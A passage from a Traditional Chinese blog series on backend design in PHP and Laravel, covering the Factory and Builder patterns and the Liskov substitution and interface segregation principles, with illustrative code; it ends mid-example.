<p>在 Laravel 中，為了符合 OCP 而實作成工廠模式的範例無處不在，通常被包裝成 <strong>Manager</strong> 的形式。</p>
<p><strong>場景 1：驅動 (Drivers)</strong></p>
<p>當你切換 Database 或 Storage 時：</p>
<ul>
<li><p><code>Storage::disk('s3')</code></p>
</li>
<li><p><code>Storage::disk('local')</code></p>
</li>
</ul>
<p>Laravel 內部有一個 <code>FilesystemManager</code> (這就是一個超級工廠)。它根據傳入的字串，去讀取 <code>config/filesystems.php</code>，然後 <code>new</code> 出對應的 S3 Adapter 或 Local Adapter。</p>
<p>注：此範例在OCP章節中亦有提及。</p>
<p><strong>場景 2：Auth Guards</strong></p>
<p><code>Auth::guard('web')</code> vs <code>Auth::guard('api')</code>。 這也是工廠模式。它根據設定產生不同的驗證物件 (SessionGuard vs TokenGuard)。</p>
<h1 id="heading-6kea5b16yen572u">觀念重置</h1>
<h2 id="heading-5piv5zcm6ka65b6x6ay85omt54mg77yf">是否覺得鬼打牆？</h2>
<p>回顧我們最近的旅程：</p>
<ul>
<li><p><strong>Lesson 14: 物件導向的靈魂：介面 (Interface) 與抽象類別 (Abstract Class)</strong></p>
</li>
<li><p><strong>Lesson 15: 解耦的關鍵：依賴注入 (Dependency Injection) 與 IoC Container</strong></p>
</li>
<li><p><strong>Lesson 17: SOLID 實戰篇 (2)：開放封閉 (OCP) - 擁抱變化而不修改舊碼</strong></p>
</li>
<li><p><strong>Lesson 18: SOLID 實戰篇 (3)：完結LSP、ISP 與 魔王DIP</strong></p>
</li>
</ul>
<p>不斷的出現介面(Interface)，在各種情境下的例子也都是不斷地用Interface來做舉例，這麼多篇幅只為了說明Interface嗎？</p>
<h2 id="heading-solid">重新審視 SOLID：介面的雙重身份</h2>
<p>我們先把 SOLID 分類成 「利用介面解偶 (SRP, OCP, DIP)」 與 「定義介面邊界 (LSP, ISP)」。</p>
<h3 id="heading-srp-ocp-dip"><strong>第一組：目的與手段 (SRP, OCP, DIP)</strong></h3>
<ul>
<li><p><strong>本質</strong>：這三者都在告訴我們 <strong>「如何切分系統」</strong> 以及 <strong>「如何處理依賴」</strong>。</p>
</li>
<li><p><strong>手段</strong>：確實都是靠 <strong>實作 Interface</strong>。</p>
<ul>
<li><p><strong>SRP</strong>：透過 Interface 把不同的職責隔開，避免一個類別包山包海。</p>
</li>
<li><p><strong>OCP</strong>：透過 Interface 讓舊程式碼（Client）對新功能（New Implementation）封閉，但對擴充開放。</p>
</li>
<li><p><strong>DIP</strong>：透過 Interface 讓高層模組不依賴低層模組，而是雙方都依賴抽象。</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-lsp-isp"><strong>第二組：品質與契約 (LSP, ISP)</strong></h3>
<ul>
<li><p><strong>本質</strong>：這兩者是在規範 <strong>「Interface 應該長什麼樣子」</strong> 以及 <strong>「實作與介面的契約關係」</strong>。</p>
</li>
<li><p><strong>手段</strong>：定義 <strong>Scope (範圍)</strong> 與 <strong>Contract (契約)</strong>。</p>
<ul>
<li><p><strong>ISP</strong>：Interface 不要太肥（範圍），要切得夠細，讓 Client 不需要依賴它不需要的方法。</p>
</li>
<li><p><strong>LSP</strong>：實作 Interface 的人不能「掛羊頭賣狗肉」，子類別必須能完美替換父介面，不能丟出預期外的 Exception 或改變行為本質。</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-57wq6kuw">結論</h3>
<p>Interface在不同情境下的運用是為了解決SOLID不同的問題。</p>
<p>Interface只是一個工具但在 SOLID 的五個原則中，我們是為了達成不同的戰略目的而去使用這個工具，Interface可以滿足這五個維度問題的工具，但不是用Interface就完全可以避免這五個問題，Interface 只是語法上的工具，它無法保證「設計」是好的。 如果介面設計得很爛，不但解決不了問題，還會變成「為了介面而介面」的 Boilerplate code。</p>
<h2 id="heading-strategy-factory">實戰演練：Strategy 與 Factory 的連鎖反應</h2>
<p>在真實架構中，我們會發現一個有趣的現象：「解決 OCP 通常用 Strategy，但為了把 Strategy 再解耦所以用 Factory，而Factory 實際上也是定義 Interface 後再做一次」。</p>
<p>這個過程其實就是 「推延依賴 (Deferring Dependency)」 的極致表現。</p>
<h3 id="heading-ocp-strategy"><strong>第一層：為了 OCP，引入 Strategy</strong></h3>
<p>我們不想在 <code>OrderService</code> 裡寫死 <code>if (type == 'VIP')</code>，所以我們定義了 <code>DiscountStrategy</code> 介面。</p>
<ul>
<li><p><strong>結果</strong>：<code>OrderService</code> 依賴於 <code>DiscountStrategy</code> (Interface)，<strong>商業邏輯解偶了</strong>。</p>
</li>
<li><p>殘留問題：但是在某個地方（可能是 Controller），還是得寫 <code>new VipDiscountStrategy()</code>。「創建」的動作還是違反 OCP，因為加新策略時，創建的地方要改。</p>
</li>
</ul>
<h3 id="heading-ocp-factory"><strong>第二層：為了創建物件的 OCP，引入 Factory</strong></h3>
<p>為了不讓 Controller 髒掉，我們把 <code>new</code> 的動作丟給 <code>DiscountFactory</code>。</p>
<ul>
<li><p><strong>結果</strong>：Controller 也不用管怎麼 <code>new</code> 了，它只管呼叫 Factory。</p>
</li>
<li><p><strong>殘留問題</strong>：現在 <code>DiscountFactory</code> 變成了那個「違反 OCP」的地方（因為 Factory 裡面的 <code>switch/case</code> 還是要改）。</p>
</li>
</ul>
<h3 id="heading-factory-interface"><strong>第三層：Factory 也是 Interface？</strong></h3>
<p>如果連 Factory 都要解偶（例如我們要換不同的 Factory 實作），我們就會定義一個 <code>DiscountFactoryInterface</code>。</p>
<ul>
<li><strong>邏輯</strong>：用一層 Interface 包裝了「行為」（Strategy），再用一層 Interface 包裝了「行為的產生」（Factory）。</li>
</ul>
<h3 id="heading-6kqw5l6g57wc57wq6ycz5ycl54sh6zmq5awx5aid77yf">誰來終結這個無限套娃？</h3>
<p>如果依照這個邏輯，Factory 上面還可以有 FactoryProducer，Producer 上面還可以有 Builder... 這會變成無限的 Interface 實作。</p>
<p>在現代後端開發，這個「Factory 的 Factory」最終通常由 Dependency Injection Container (IoC Container) 來終結。</p>
<ul>
<li><p>手動工廠 (Manual Factory)：我們自己寫 <code>class PaymentFactory</code>。</p>
</li>
<li><p>終極工廠 (DI Container)：Laravel 的 Service Container (<code>app()</code>) 本身就是一個巨型的、通用的 Factory。</p>
</li>
</ul>
<p>我們其實一直在做 「控制反轉 (IoC)」。</p>
<ol>
<li><p>Strategy：將「演算法的執行權」反轉（交給介面）。</p>
</li>
<li><p>Factory：將「物件的創建權」反轉（交給工廠）。</p>
</li>
<li><p>DI Container：將「依賴的組裝權」徹底反轉（交給框架配置）。</p>
</li>
</ol>
<h1 id="heading-5bu66ycg6icf5qih5byp">建造者模式</h1>
<p>建造者模式所要解決的是：這個物件參數太多、太複雜，我要怎麼new？</p>
<p>是否看過這樣的Code</p>
<pre><code class="lang-php"><span class="hljs-comment">// 這種建構子稱為「伸縮望遠鏡 (Telescoping Constructor)」</span>
<span class="hljs-comment">// 參數多到你根本記不住第 5 個 false 代表什麼意思</span>
$request = <span class="hljs-keyword">new</span> HttpRequest(
    <span class="hljs-string">'&lt;https://api.example.com&gt;'</span>, 
    <span class="hljs-string">'POST'</span>, 
    [<span class="hljs-string">'Content-Type'</span> =&gt; <span class="hljs-string">'application/json'</span>], 
    <span class="hljs-string">'{"data": 123}'</span>, 
    <span class="hljs-number">30</span>,   <span class="hljs-comment">// timeout</span>
    <span class="hljs-literal">true</span>, <span class="hljs-comment">// isAsync</span>
    <span class="hljs-literal">false</span> <span class="hljs-comment">// verifySsl</span>
);
</code></pre>
<p>這就是 Builder 模式要消滅的敵人。</p>
<h2 id="heading-5qc45bd5qac5b177ya57we6kod5asn5pa86ko96ycg">核心概念：組裝大於製造</h2>
<blockquote>
<p>建造者模式將一個複雜物件的「建構過程」與它的「表示」分離，使得同樣的建構過程可以建立不同的表示。</p>
</blockquote>
<p>走進Subway 跟店員說「我要一份潛艇堡」。</p>
<ol>
<li><p>選麵包（蜂蜜燕麥）</p>
</li>
<li><p>選肉（火雞胸肉）</p>
</li>
<li><p>選醬料（西南醬）</p>
</li>
<li><p>加菜（不要洋蔥）</p>
</li>
</ol>
<ul>
<li>最後店員把組裝好的潛艇堡交給客人。</li>
</ul>
<p>在現代後端開發中，我們最常使用的是 Builder 的變體：流暢介面 (Fluent Interface) / 方法鏈 (Method Chaining)。</p>
<h2 id="heading-http-request">實戰演練：拯救 HTTP Request</h2>
<h3 id="heading-step-1-builder">Step 1: 建立 Builder 類別</h3>
<p>我們不直接 new <code>HttpRequest</code>，而是建立一個 <code>HttpRequestBuilder</code> 來暫存使用者的設定。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HttpRequestBuilder</span>
</span>{
    <span class="hljs-comment">// 設定預設值</span>
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> $method = <span class="hljs-string">'GET'</span>;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> $url = <span class="hljs-string">''</span>;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">array</span> $headers = [];
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> $body = <span class="hljs-string">''</span>;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">int</span> $timeout = <span class="hljs-number">30</span>;

    <span class="hljs-comment">// 1. 設定 URL</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUrl</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $url</span>): <span class="hljs-title">self</span>
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;url = $url;
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>; <span class="hljs-comment">// 👈 關鍵！回傳 $this 才能繼續串接 (Method Chaining)</span>
    }

    <span class="hljs-comment">// 2. 設定 Method</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setMethod</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $method</span>): <span class="hljs-title">self</span>
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;method = $method;
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>;
    }

    <span class="hljs-comment">// 3. 設定 Header (可以多次呼叫，慢慢加)</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addHeader</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $key, <span class="hljs-keyword">string</span> $value</span>): <span class="hljs-title">self</span>
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;headers[$key] = $value;
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>;
    }

    <span class="hljs-comment">// ... 其他 setter 省略 ...</span>

    <span class="hljs-comment">// 4. 最終步驟：建造！(Build)</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">build</span>(<span class="hljs-params"></span>): <span class="hljs-title">HttpRequest</span>
    </span>{
        <span class="hljs-comment">// 這裡可以做最後的驗證 (Validation)</span>
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>(<span class="hljs-keyword">$this</span>-&gt;url)) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Exception</span>(<span class="hljs-string">"URL cannot be empty"</span>);
        }

        <span class="hljs-comment">// 把蒐集好的參數，一次傳給 HttpRequest 的建構子</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> HttpRequest(
            <span class="hljs-keyword">$this</span>-&gt;url,
            <span class="hljs-keyword">$this</span>-&gt;method,
            <span class="hljs-keyword">$this</span>-&gt;headers,
            <span class="hljs-keyword">$this</span>-&gt;body,
            <span class="hljs-keyword">$this</span>-&gt;timeout
        );
    }
}
</code></pre>
<h3 id="heading-step-2">Step 2: 呼叫端</h3>
<pre><code class="lang-php">$request = (<span class="hljs-keyword">new</span> HttpRequestBuilder())
    -&gt;setUrl(<span class="hljs-string">'&lt;https://api.example.com&gt;'</span>)
    -&gt;setMethod(<span class="hljs-string">'POST'</span>)
    -&gt;addHeader(<span class="hljs-string">'Content-Type'</span>, <span class="hljs-string">'application/json'</span>)
    -&gt;addHeader(<span class="hljs-string">'Authorization'</span>, <span class="hljs-string">'Bearer token123'</span>)
    -&gt;build(); <span class="hljs-comment">// 👈 直到這一刻，真正的物件才被產出來</span>
</code></pre>
<p><strong>優點：</strong></p>
<ol>
<li><p><strong>可讀性極高</strong>：不用去猜第 3 個參數是什麼，方法名稱說明了一切。</p>
</li>
<li><p><strong>順序無關</strong>：你可以先設 Header 再設 URL，沒差別。</p>
</li>
<li><p><strong>靈活性</strong>：你可以根據邏輯動態決定要不要加某個 Header。</p>
</li>
</ol>
<h2 id="heading-laravel-1">Laravel 中的實戰場景</h2>
<p>大家可能沒意識到，其實Laravel開發者每天都在寫 Builder 模式。Laravel 的 Eloquent ORM 就是全世界最著名的 Builder 範例之一。</p>
<h3 id="heading-sql-query-builder">SQL Query Builder</h3>
<pre><code class="lang-php">$users = User::query()            <span class="hljs-comment">// 1. 拿到 Builder 實例</span>
    -&gt;where(<span class="hljs-string">'is_active'</span>, <span class="hljs-number">1</span>)       <span class="hljs-comment">// 2. 設定條件 (相當於 setWhere)</span>
    -&gt;orderBy(<span class="hljs-string">'created_at'</span>, <span class="hljs-string">'desc'</span>) <span class="hljs-comment">// 3. 設定排序 (相當於 setOrder)</span>
    -&gt;limit(<span class="hljs-number">10</span>)                   <span class="hljs-comment">// 4. 設定限制</span>
    -&gt;get();                      <span class="hljs-comment">// 5. Build! (執行 SQL 並回傳結果)</span>
</code></pre>
<p>如果沒有 Builder 模式，可能得這樣寫</p>
<pre><code class="lang-php"><span class="hljs-comment">// ❌ 假設的寫法：參數地獄</span>
$users = <span class="hljs-keyword">new</span> UserQuery(<span class="hljs-literal">null</span>, [<span class="hljs-string">'is_active'</span> =&gt; <span class="hljs-number">1</span>], <span class="hljs-literal">null</span>, <span class="hljs-string">'created_at'</span>, <span class="hljs-string">'desc'</span>, <span class="hljs-number">10</span>);
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Lesson 18: SOLID 實戰篇 (3)：完結LSP、ISP 與 魔王DIP]]></title><description><![CDATA[關於LSP
接下來進到L了，這裡的L指的就是里氏替換原則 (LSP , Liskov Substitution Principle)，這是許多後端工程師覺得最「抽象」的一個原則，但它其實是判斷「繼承 (Inheritance) 是否被濫用」最重要的標準。
什麼是里式替換 (LSP)？

「子類別 (Subclass) 必須能夠替換掉它們的父類別 (Base Class)，且程式的行為不會發生錯誤。」

簡單來說，如果程式碼依賴於一個父類別（或介面），那麼隨便塞一個該父類別的「子類別」進去，程式都...]]></description><link>https://blog.bennett1999.com/lsp-isp-dip</link><guid isPermaLink="true">https://blog.bennett1999.com/lsp-isp-dip</guid><category><![CDATA[SOLID principles]]></category><category><![CDATA[lsp]]></category><category><![CDATA[isp]]></category><category><![CDATA[DIP]]></category><category><![CDATA[software development]]></category><category><![CDATA[backend]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Tue, 23 Dec 2025 09:11:50 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-lsp">關於LSP</h1>
<p>接下來進到L了，這裡的L指的就是里氏替換原則 (LSP , Liskov Substitution Principle)，這是許多後端工程師覺得最「抽象」的一個原則，但它其實是判斷「繼承 (Inheritance) 是否被濫用」最重要的標準。</p>
<h2 id="heading-lsp-1">什麼是里式替換 (LSP)？</h2>
<blockquote>
<p>「子類別 (Subclass) 必須能夠替換掉它們的父類別 (Base Class)，且程式的行為不會發生錯誤。」</p>
</blockquote>
<p>簡單來說，如果程式碼依賴於一個父類別（或介面），那麼隨便塞一個該父類別的「子類別」進去，程式都應該要能正常運作，而不需要去修改呼叫端的程式碼。</p>
<h2 id="heading-the-duck-test">鴨子測試 (The Duck Test)</h2>
<p>如果它看起來像鴨子，叫聲像鴨子，但需要裝電池才能動，那它就是違反了 LSP。因為當你把這隻「機械鴨」混進真正的鴨群裡，原本預期鴨子會游泳的程式邏輯就會崩潰。</p>
<p>P.S.這裡的鴨子測試是延伸出來的應用。</p>
<h2 id="heading-5bi46kal6kik6jmf">常見訊號</h2>
<p>在 Code Review 中，如果看到以下幾種情況，通常就是違反了 LSP：</p>
<ol>
<li><p><strong>子類別拋出「未實作」例外</strong>：父類別有某個方法，但子類別根本不需要，只好在方法裡 <code>throw new NotImplementedException()</code>。</p>
</li>
<li><p>子類別方法是空的：為了滿足介面定義，子類別把方法留空不做事。</p>
</li>
<li><p>呼叫端充滿了 <code>instanceof</code> 或類型檢查：呼叫端必須檢查「如果是 A 子類別，就做 X；如果是 B 子類別，就做 Y」。</p>
</li>
</ol>
<h2 id="heading-payment-gateway">實戰場景：支付閘道(Payment Gateway)的陷阱</h2>
<p>假設我們正在開發一個電商系統的支付模組。我們有一個抽象的支付處理類別 <code>PaymentHandler</code></p>
<h3 id="heading-lsp-2">違反LSP的設計</h3>
<pre><code class="lang-php"><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PaymentHandler</span>
</span>{
    <span class="hljs-keyword">abstract</span> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>)</span>;
    <span class="hljs-keyword">abstract</span> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refundPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PayPalHandler</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">PaymentHandler</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>) </span>{ <span class="hljs-comment">/* 呼叫 PayPal API 付款 */</span> }
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refundPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>) </span>{ <span class="hljs-comment">/* 呼叫 PayPal API 退款 */</span> }
}

<span class="hljs-comment">// 問題來了：公司決定引入「紅利點數支付」</span>
<span class="hljs-comment">// 紅利點數可以折抵現金，但是「不能退款」（假設這是業務邏輯，點數扣了就不退）</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RewardsHandler</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">PaymentHandler</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>) </span>{ <span class="hljs-comment">/* 扣除使用者點數 */</span> }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refundPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>)
    </span>{
        <span class="hljs-comment">// 違反 LSP！子類別無法履行父類別的承諾</span>
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Exception</span>(<span class="hljs-string">"Rewards cannot be refunded."</span>);
    }
}
</code></pre>
<h3 id="heading-5lu5q2j5pa55qgi77ya6zqu6zui6iih5oug5yig">修正方案：隔離與拆分</h3>
<p>介面隔離 (Interface Segregation)，我們將「支付」與「退款」的行為分開。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Payable</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Refundable</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refundPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>)</span>;
}

<span class="hljs-comment">// PayPal 既可以付錢也可以退錢</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PayPalHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Payable</span>, <span class="hljs-title">Refundable</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>) </span>{ <span class="hljs-comment">/* ... */</span> }
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refundPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>) </span>{ <span class="hljs-comment">/* ... */</span> }
}

<span class="hljs-comment">// 紅利點數只實作 Payable</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RewardsHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Payable</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processPayment</span>(<span class="hljs-params"><span class="hljs-keyword">float</span> $amount</span>) </span>{ <span class="hljs-comment">/* ... */</span> }
}
</code></pre>
<p>現在，編譯器或靜態分析工具會幫我們把關。如果一個支付方式不支援退款，根本無法將它傳入退款的邏輯中。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span>
</span>{
    <span class="hljs-comment">// 這裡 Type Hint 指定要 Refundable，所以絕對不會傳入 RewardsHandler</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">refundOrder</span>(<span class="hljs-params">Refundable $handler, <span class="hljs-keyword">float</span> $amount</span>)
    </span>{
        $handler-&gt;refundPayment($amount);
    }
}
</code></pre>
<p>這樣一來，<code>RewardsHandler</code> 可以安心地當作 <code>Payable</code> 使用，而不會在需要 <code>Refundable</code> 的地方炸開。</p>
<h2 id="heading-design-by-contract">契約設計 (Design by Contract)</h2>
<p>LSP 在學術上還有兩個關於「契約」的重要規定，對於 API 設計很有幫助：</p>
<ol>
<li><p>前置條件 (Preconditions) 不能更強：</p>
<ul>
<li><p>父類別說：「給我大於 0 的數字我就能跑」。</p>
</li>
<li><p>子類別不能說：「給我大於 100 的數字我才跑」。(你要求更多，呼叫端會無所適從)</p>
</li>
</ul>
</li>
<li><p>後置條件 (Postconditions) 不能更弱：</p>
<ul>
<li><p>父類別說：「我保證回傳一個有效的 JSON」。</p>
</li>
<li><p>子類別不能說：「我可能會回傳 null 或空字串」。(你給的承諾變少了，呼叫端會處理錯誤)</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-override-lsp">補充說明 - 不是所有 override 都違反 LSP</h2>
<p>里氏替換原則並不是禁止子類別覆寫 (override) 父類別的方法，它關心的是：</p>
<p>覆寫後，是否仍然遵守原本對呼叫端的「行為承諾」。</p>
<p>只要子類別的 override 沒有改變對外可觀察的行為契約，這樣的覆寫不但不違反 LSP，反而是常見且合理的設計。</p>
<h3 id="heading-lsp-override">合法、不違反 LSP 的 override 範例</h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CachedUserRepository</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">UserRepository</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">findById</span>(<span class="hljs-params"><span class="hljs-keyword">int</span> $id</span>): <span class="hljs-title">User</span>
    </span>{
        <span class="hljs-comment">// 先查 Cache</span>
        <span class="hljs-keyword">if</span> ($user = <span class="hljs-keyword">$this</span>-&gt;cache-&gt;get($id)) {
            <span class="hljs-keyword">return</span> $user;
        }

        <span class="hljs-comment">// Cache miss，才走父類別邏輯</span>
        $user = <span class="hljs-built_in">parent</span>::findById($id);
        <span class="hljs-keyword">$this</span>-&gt;cache-&gt;set($id, $user);

        <span class="hljs-keyword">return</span> $user;
    }
}
<span class="hljs-comment">/**
方法簽章沒變
回傳型別與例外行為沒變
呼叫端完全不需要知道「有沒有用快取」
*/</span>
</code></pre>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SecureFileStorage</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">FileStorage</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">save</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $path, <span class="hljs-keyword">string</span> $content</span>): <span class="hljs-title">void</span>
    </span>{
        <span class="hljs-comment">// 子類別增加了加密行為</span>
        $encrypted = <span class="hljs-keyword">$this</span>-&gt;encrypt($content);

        <span class="hljs-built_in">parent</span>::save($path, $encrypted);
    }
}
<span class="hljs-comment">/**
父類別承諾的是「能成功儲存檔案」
子類別只是多做了一步處理
呼叫端不需要額外條件或調整使用方式
*/</span>
</code></pre>
<h2 id="heading-57i957wq">總結</h2>
<ul>
<li><p>繼承是「Is-A」的關係：不僅僅是名字像，行為也要像。如果子類別要把父類別的功能「關掉」或「報錯」，那就不該繼承。</p>
</li>
<li><p>LSP 是 OCP 的基礎：如果你違反了 LSP，呼叫端就必須檢查子類別類型，這就違反了 OCP (Open/Closed Principle)。</p>
</li>
<li><p>多用組合/介面，少用繼承：當你發現繼承層級很難符合 LSP 時，通常代表你應該改用介面組合 (Composition) 的方式來設計。</p>
</li>
</ul>
<h1 id="heading-isp">關於ISP</h1>
<h2 id="heading-5lua6bq85piv5lul6z2i6zqu6zui5y6f5ymh">什麼是介面隔離原則</h2>
<blockquote>
<p>Clients should not be forced to depend upon interfaces that they do not use.</p>
</blockquote>
<p>與其設計一個無所不能的「胖介面」，不如把它拆分成多個特定的「瘦介面 (Thin Interface)」。</p>
<h2 id="heading-54k65lua6bq844cm6iow5lul6z2i44cn5pyj5aoe5zgz6ygt">為什麼「胖介面」有壞味道</h2>
<p>在後端開發中，我們經常會因為「貪圖方便」，把所有相關的方法都塞進同一個 Interface 裡。</p>
<h3 id="heading-userinterface">全能的 <code>UserInterface</code></h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">UserInterface</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">login</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">register</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendEmail</span>(<span class="hljs-params"></span>)</span>; <span class="hljs-comment">// 為了寄送歡迎信</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateReport</span>(<span class="hljs-params"></span>)</span>; <span class="hljs-comment">// 為了給後台管理員看數據</span>
}
</code></pre>
<p><strong>問題：</strong></p>
<ul>
<li><p>不必要的依賴：負責「登入」的模組，為什麼要知道怎麼「產生報表」？</p>
</li>
<li><p>實作的痛苦：如果你只想做一個簡單的「訪客註冊」功能，你被迫要去實作 <code>generateReport()</code>（可能只好留空或丟例外，這又違反了 LSP）。</p>
</li>
<li><p>頻繁的修改：如果後台報表邏輯變了，導致 <code>generateReport</code> 簽章改變，連「登入模組」都要跟著重新編譯或測試，因為它們綁在同一個介面上。</p>
</li>
</ul>
<h2 id="heading-5am5oiw5ac05pmv77ya5bel5lq66iih5qmf5zmo5lq6">實戰場景：工人與機器人</h2>
<p>我們來看看ISP經典的教科書範例</p>
<h3 id="heading-isp-1">違反 ISP 的設計</h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Worker</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">work</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">eat</span>(<span class="hljs-params"></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HumanWorker</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Worker</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">work</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/* 工作 */</span> }
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">eat</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/* 吃便當 */</span> }
}

<span class="hljs-comment">// 💥 問題來了：引進機器人</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RobotWorker</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Worker</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">work</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/* 工作 */</span> }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">eat</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// 機器人不用吃飯，但介面強迫我實作</span>
